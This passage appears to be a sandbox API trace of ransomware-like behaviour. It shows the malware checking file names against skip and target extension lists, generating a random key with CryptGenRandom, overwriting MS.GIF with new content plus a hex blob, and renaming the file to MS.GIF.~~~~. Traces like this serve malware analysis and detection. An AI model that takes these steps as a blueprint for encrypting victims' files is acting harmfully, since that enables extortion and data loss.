	[0077.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".lnk") returned 0x0
	[0077.912] lstrlenW (lpString=".msp") returned 4
	[0077.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".msp") returned 0x0
	[0077.912] lstrlenW (lpString=".pif") returned 4
	[0077.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".pif") returned 0x0
	[0077.912] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0077.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.912] lstrlenW (lpString=".sqb") returned 4
	[0077.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".sqb") returned 0x0
	[0077.912] lstrlenW (lpString=".ost") returned 4
	[0077.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".ost") returned 0x0
	[0077.912] lstrlenW (lpString=".txt") returned 4
	[0077.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".txt") returned 0x0
	[0077.912] lstrlenW (lpString=".mdt") returned 4
	[0077.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".mdt") returned 0x0
	[0077.913] lstrlenW (lpString=".BDB") returned 4
	[0077.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".BDB") returned 0x0
	[0077.913] lstrlenW (lpString=".eql") returned 4
	[0077.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".eql") returned 0x0
	[0077.913] lstrlenW (lpString=".DBF") returned 4
	[0077.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".DBF") returned 0x0
	[0077.913] lstrlenW (lpString=".EQL") returned 4
	[0077.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".EQL") returned 0x0
	[0077.913] lstrlenW (lpString=".FDB") returned 4
	[0077.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".FDB") returned 0x0
	[0077.913] lstrlenW (lpString=".EDB") returned 4
	[0077.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".EDB") returned 0x0
	[0077.913] lstrlenW (lpString=".DACPAC") returned 7
	[0077.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".DACPAC") returned 0x0
	[0077.913] lstrlenW (lpString=".VHD") returned 4
	[0077.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".VHD") returned 0x0
	[0077.913] lstrlenW (lpString=".DBV") returned 4
	[0077.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".DBV") returned 0x0
	[0077.913] lstrlenW (lpString=".dacpac") returned 7
	[0077.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".dacpac") returned 0x0
	[0077.913] lstrlenW (lpString=".sdf") returned 4
	[0077.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".sdf") returned 0x0
	[0077.913] lstrlenW (lpString=".accdb") returned 6
	[0077.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".accdb") returned 0x0
	[0077.914] lstrlenW (lpString=".DBX") returned 4
	[0077.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".DBX") returned 0x0
	[0077.914] lstrlenW (lpString=".MDT") returned 4
	[0077.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".MDT") returned 0x0
	[0077.914] lstrlenW (lpString=".SQB") returned 4
	[0077.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".SQB") returned 0x0
	[0077.914] lstrlenW (lpString=".vhd") returned 4
	[0077.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".vhd") returned 0x0
	[0077.914] lstrlenW (lpString=".bac") returned 4
	[0077.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".bac") returned 0x0
	[0077.914] lstrlenW (lpString=".mdf") returned 4
	[0077.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".mdf") returned 0x0
	[0077.914] lstrlenW (lpString=".BAK") returned 4
	[0077.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".BAK") returned 0x0
	[0077.914] lstrlenW (lpString=".BAC") returned 4
	[0077.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".BAC") returned 0x0
	[0077.914] lstrlenW (lpString=".dbs") returned 4
	[0077.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".dbs") returned 0x0
	[0077.914] lstrlenW (lpString=".vhdx") returned 5
	[0077.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".vhdx") returned 0x0
	[0077.915] lstrlenW (lpString=".NDF") returned 4
	[0077.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".NDF") returned 0x0
	[0077.915] lstrlenW (lpString=".dat") returned 4
	[0077.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".dat") returned 0x0
	[0077.990] lstrlenW (lpString=".DBS") returned 4
	[0077.990] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".DBS") returned 0x0
	[0077.990] lstrlenW (lpString=".CKP") returned 4
	[0078.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".CKP") returned 0x0
	[0078.008] lstrlenW (lpString=".edb") returned 4
	[0078.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".edb") returned 0x0
	[0078.008] lstrlenW (lpString=".PST") returned 4
	[0078.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".PST") returned 0x0
	[0078.009] lstrlenW (lpString=".dbf") returned 4
	[0078.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".dbf") returned 0x0
	[0078.009] lstrlenW (lpString=".SQL") returned 4
	[0078.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".SQL") returned 0x0
	[0078.009] lstrlenW (lpString=".pst") returned 4
	[0078.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".pst") returned 0x0
	[0078.009] lstrlenW (lpString=".dbv") returned 4
	[0078.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".dbv") returned 0x0
	[0078.009] lstrlenW (lpString=".SDF") returned 4
	[0078.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".SDF") returned 0x0
	[0078.009] lstrlenW (lpString=".dtxs") returned 5
	[0078.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".dtxs") returned 0x0
	[0078.009] lstrlenW (lpString=".db3") returned 4
	[0078.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".db3") returned 0x0
	[0078.009] lstrlenW (lpString=".OST") returned 4
	[0078.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".OST") returned 0x0
	[0078.009] lstrlenW (lpString=".dbx") returned 4
	[0078.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".dbx") returned 0x0
	[0078.009] lstrlenW (lpString=".DB3") returned 4
	[0078.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".DB3") returned 0x0
	[0078.009] lstrlenW (lpString=".DAT") returned 4
	[0078.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".DAT") returned 0x0
	[0078.009] lstrlenW (lpString=".VHDX") returned 5
	[0078.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".VHDX") returned 0x0
	[0078.010] lstrlenW (lpString=".ndf") returned 4
	[0078.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".ndf") returned 0x0
	[0078.010] lstrlenW (lpString=".DB") returned 3
	[0078.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".DB") returned 0x0
	[0078.010] lstrlenW (lpString=".sql") returned 4
	[0078.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".sql") returned 0x0
	[0078.010] lstrlenW (lpString=".MYD") returned 4
	[0078.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".MYD") returned 0x0
	[0078.010] lstrlenW (lpString=".DBT") returned 4
	[0078.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".DBT") returned 0x0
	[0078.010] lstrlenW (lpString=".ACCDB") returned 6
	[0078.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".ACCDB") returned 0x0
	[0078.010] lstrlenW (lpString=".fdb") returned 4
	[0078.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".fdb") returned 0x0
	[0078.010] lstrlenW (lpString=".bak") returned 4
	[0078.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".bak") returned 0x0
	[0078.010] lstrlenW (lpString=".myd") returned 4
	[0078.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".myd") returned 0x0
	[0078.010] lstrlenW (lpString=".DTXS") returned 5
	[0078.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".DTXS") returned 0x0
	[0078.010] lstrlenW (lpString=".ckp") returned 4
	[0078.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".ckp") returned 0x0
	[0078.010] lstrlenW (lpString=".dbt") returned 4
	[0078.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".dbt") returned 0x0
	[0078.010] lstrlenW (lpString=".db") returned 3
	[0078.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".db") returned 0x0
	[0078.010] lstrlenW (lpString=".TXT") returned 4
	[0078.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".TXT") returned 0x0
	[0078.011] lstrlenW (lpString=".MDF") returned 4
	[0078.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".MDF") returned 0x0
	[0078.011] lstrlenW (lpString=".bdb") returned 4
	[0078.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".bdb") returned 0x0
	[0078.011] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0078.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.011] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0078.012] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.012] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0078.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0078.012] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19800243869) returned 1
	[0078.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x98664030, dwHighDateTime=0x1d60e1e)) 
	[0078.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0078.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0078.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0078.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9848
	[0078.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9848 | out: hHeap=0x300000) returned 1
	[0078.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0078.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8138
	[0078.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0078.013] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0078.013] GetLastError () returned 0x0
	[0078.013] GetLastError () returned 0x0
	[0078.013] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0078.013] GetLastError () returned 0x0
	[0078.014] GetLastError () returned 0x0
	[0078.014] ReadFile (in: hFile=0x130, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x24dfec0*=0x42d, lpOverlapped=0x0) returned 1
	[0078.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffbd3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.017] WriteFile (in: hFile=0x130, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x42d, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x24dfec0*=0x42d, lpOverlapped=0x0) returned 1
	[0078.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0078.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.017] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0078.018] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0078.018] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0078.018] CloseHandle (hObject=0x130) returned 1
	[0078.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8138
	[0078.025] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.~~~~")) returned 1
	[0078.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8138 | out: hHeap=0x300000) returned 1
	[0078.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0078.026] GetLastError () returned 0x0
	[0078.026] RtlWakeConditionVariable () returned 0x365f70
	[0078.026] GetCurrentThreadId () returned 0x3a4
	[0078.026] GetCurrentThreadId () returned 0x3a4
	[0078.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0078.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a87c0 | out: hHeap=0x300000) returned 1
	[0078.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9880 | out: hHeap=0x300000) returned 1
	[0078.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a87c0
	[0078.027] lstrlenW (lpString=".scr") returned 4
	[0078.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".scr") returned 0x0
	[0078.027] lstrlenW (lpString=".cmd") returned 4
	[0078.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".cmd") returned 0x0
	[0078.027] lstrlenW (lpString=".dll") returned 4
	[0078.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".dll") returned 0x0
	[0078.027] lstrlenW (lpString=".bat") returned 4
	[0078.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".bat") returned 0x0
	[0078.027] lstrlenW (lpString=".cpl") returned 4
	[0078.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".cpl") returned 0x0
	[0078.027] lstrlenW (lpString=".sys") returned 4
	[0078.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".sys") returned 0x0
	[0078.027] lstrlenW (lpString=".msc") returned 4
	[0078.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".msc") returned 0x0
	[0078.027] lstrlenW (lpString=".com") returned 4
	[0078.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".com") returned 0x0
	[0078.027] lstrlenW (lpString=".lnk") returned 4
	[0078.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".lnk") returned 0x0
	[0078.027] lstrlenW (lpString=".msp") returned 4
	[0078.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".msp") returned 0x0
	[0078.027] lstrlenW (lpString=".pif") returned 4
	[0078.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".pif") returned 0x0
	[0078.027] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch="msp\r\n.pif") returned 0x0
	[0078.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0078.029] lstrlenW (lpString=".sqb") returned 4
	[0078.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".sqb") returned 0x0
	[0078.029] lstrlenW (lpString=".ost") returned 4
	[0078.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".ost") returned 0x0
	[0078.029] lstrlenW (lpString=".txt") returned 4
	[0078.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".txt") returned 0x0
	[0078.029] lstrlenW (lpString=".mdt") returned 4
	[0078.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".mdt") returned 0x0
	[0078.029] lstrlenW (lpString=".BDB") returned 4
	[0078.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".BDB") returned 0x0
	[0078.029] lstrlenW (lpString=".eql") returned 4
	[0078.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".eql") returned 0x0
	[0078.029] lstrlenW (lpString=".DBF") returned 4
	[0078.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".DBF") returned 0x0
	[0078.029] lstrlenW (lpString=".EQL") returned 4
	[0078.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".EQL") returned 0x0
	[0078.029] lstrlenW (lpString=".FDB") returned 4
	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".FDB") returned 0x0
	[0078.030] lstrlenW (lpString=".EDB") returned 4
	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".EDB") returned 0x0
	[0078.030] lstrlenW (lpString=".DACPAC") returned 7
	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".DACPAC") returned 0x0
	[0078.030] lstrlenW (lpString=".VHD") returned 4
	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".VHD") returned 0x0
	[0078.030] lstrlenW (lpString=".DBV") returned 4
	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".DBV") returned 0x0
	[0078.030] lstrlenW (lpString=".dacpac") returned 7
	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".dacpac") returned 0x0
	[0078.030] lstrlenW (lpString=".sdf") returned 4
	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".sdf") returned 0x0
	[0078.030] lstrlenW (lpString=".accdb") returned 6
	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".accdb") returned 0x0
	[0078.030] lstrlenW (lpString=".DBX") returned 4
	[0078.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpSrch=".DBX") returned 0x0
	[0078.030] lstrlenW (lpString=".MDT") returned 4
